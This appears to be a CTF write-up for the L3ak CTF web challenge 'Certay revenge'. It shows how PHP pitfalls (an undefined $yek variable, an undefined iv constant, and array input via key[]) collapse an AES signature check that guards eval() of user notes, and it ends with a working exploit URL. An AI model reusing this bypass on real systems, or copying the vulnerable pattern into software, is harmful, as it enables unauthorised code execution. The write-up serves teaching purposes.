Certay revenge Web Challenge - From L3ak CTF
Web challenge from L3ak CTF, a simple note-taking system with user authentication, where the goal is to bypass the required hash using PHP language pitfalls.
Last Modified: 2025-07-14 06:51
Probably you need to understand our language to get some of the super powers?
The challenge mainly is about spotting pitfalls of PHP to be able to bypass bypass the required hash.
The web application is a simple note-taking system with user authentication:
- User Registration/Login: Users can register and login via register.php and login.php
- Session Management: PHP sessions track logged-in users with
$_SESSION['user_id']
- Note Storage: Users can store private notes via post_note.php
- Dashboard Access: dashboard.php displays notes after signature verification
Normal Authentication Flow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Login creates session
$_SESSION['user_id'] = $user_id;
$_SESSION['yek'] = openssl_random_pseudo_bytes(16); // 16-byte session key
// Dashboard requires both session AND signature verification
if (!isset($_SESSION['user_id'])) {
header('Location: login.php');
exit;
}
// Additional signature check for sensitive operations
if (custom_sign($_GET['msg'], $yek, safe_sign($_GET['key'])) === $_GET['hash']) {
// Execute stored notes via eval()
}
Encryption Implementation
Encryption Functions
1
2
3
4
5
6
7
function safe_sign($data) {
return openssl_encrypt($data, 'aes-256-cbc', KEY, 0, iv);
}
function custom_sign($data, $key, $vi) {
return openssl_encrypt($data, 'aes-256-cbc', $key, 0, $vi);
}
Signature Verification Logic
1
2
3
4
if (custom_sign($_GET['msg'], $yek, safe_sign($_GET['key'])) === $_GET['hash']) {
// Authentication successful - execute user notes
eval($content);
}
How it’s supposed to work:
safe_sign($_GET['key'])
encrypts user input with server’s secretKEY
- Result becomes IV for
custom_sign()
custom_sign()
encrypts$_GET['msg']
using session key$yek
- Final result must match
$_GET['hash']
The app takes three parameters and do that :
Exploit Chain
PHP Language Pitfalls Exploited
Undefined Constant Behavior
1
2
3
4
5
<?php
define('yek', $_SESSION['yek']);
// Later in code:
custom_sign($_GET['msg'], $yek, safe_sign($_GET['key'])) === $_GET['hash']
Pitfall: $yek
(variable) vs yek
(constant)
- Expected:
$yek
should reference the constantyek
- Reality:
$yek
is an undefined variable, defaults tonull
, if you want to use the defined value you should useyek
instead of$yek
- Impact: Encryption key becomes empty string instead of 16-byte session key (as the second parameter to `custom_sign() is the encryption key.)
Undefined Constant String Conversion
1
return openssl_encrypt($data, 'aes-256-cbc', KEY, 0, iv);
Pitfall: iv
constant is never defined
- Expected:
iv
should be a defined constant - Reality: PHP converts undefined constant to string
"iv"
. so theiv
will become literally “iv” - Impact: IV becomes predictable 2-byte string instead of random 16 bytes
OpenSSL IV Padding Behavior (it’s not a pitfall)
1
openssl_encrypt($data, 'aes-256-cbc', KEY, 0, "iv");
AES-256-CBC requires exactly 16-byte IV
- Input:
"iv"
(2 bytes) - OpenSSL behavior: Pads with null bytes to 16 bytes
- Result:
"iv\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
(predictable)4. Array Parameter Handling
1
2
3
4
if (isset($_GET['msg']) && isset($_GET['hash']) && isset($_GET['key'])) {
if (custom_sign($_GET['msg'], $yek, safe_sign($_GET['key'])) === $_GET['hash']) {
Pitfall: openssl_encrypt()
expects string, receives array
- Input:
key[]
creates$_GET['key'] = []
(empty array) - OpenSSL behavior: Returns :
1
2
Warning: openssl_encrypt() expects parameter 1 to be string, array given in /home/user/scripts/code.php on line 7
NULL
- Impact:
1
2
3
4
5
6
7
8
9
// URL: dashboard.php?key[]
// Creates: $_GET['key'] = []
// Results in: safe_sign([]) → NULL
// Then: custom_sign($_GET['msg'], $yek, NULL)
// yek is also empty, we showed that previously
The Real Signature Check is :
1
custom_sign($_GET['msg'], $yek, safe_sign($_GET['key'])) === $_GET['hash']
but with such behaviors it becomes:
1
2
custom_sign($_GET['msg'], null, NULL) === $_GET['hash']
which is :
1
openssl_encrypt($_GET['msg'], 'aes-256-cbc', '', 0, NULL) === $_GET['hash']
How NULL is Handled as IV
When NULL
which is $yek
is passed as the IV parameter:
- PHP converts
NULL
to empty string""
- OpenSSL pads empty string to 16 bytes with null bytes
- Effective IV becomes 16 null bytes To make sure of this behavior i created this test:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Test the actual behavior
$result1 = openssl_encrypt("test", 'aes-256-cbc', '', 0, NULL);
$result2 = openssl_encrypt("test", 'aes-256-cbc', '', 0, false);
$result3 = openssl_encrypt("test", 'aes-256-cbc', '', 0, "");
echo "NULL IV: " . $result1 . "\n";
echo "false IV: " . $result2 . "\n";
echo "empty string IV: " . $result3 . "\n";
?>
output :
NULL IV: 2HB5iFgiP0Vk00CxA/ZSew==
false IV: 2HB5iFgiP0Vk00CxA/ZSew==
empty string IV: 2HB5iFgiP0Vk00CxA/ZSew==
So now all i need making these nested conditions returns true :
1
2
3
if (isset($_GET['msg']) && isset($_GET['hash']) && isset($_GET['key'])) {
if (custom_sign($_GET['msg'], $yek, safe_sign($_GET['key'])) === $_GET['hash']) {
All parameters now predictable:
- Message:
$_GET['msg']
(user controlled) - $yek : Empty
- safe_sign($_GET[‘key’])):
''
(empty string from null, it’s NULL because ofGET['key'
is set tokey[]
)
Exploit
1
http://server/dashboard.php?msg=test&key[]=&hash=2HB5iFgiP0Vk00CxA%2FZSew%3D%3D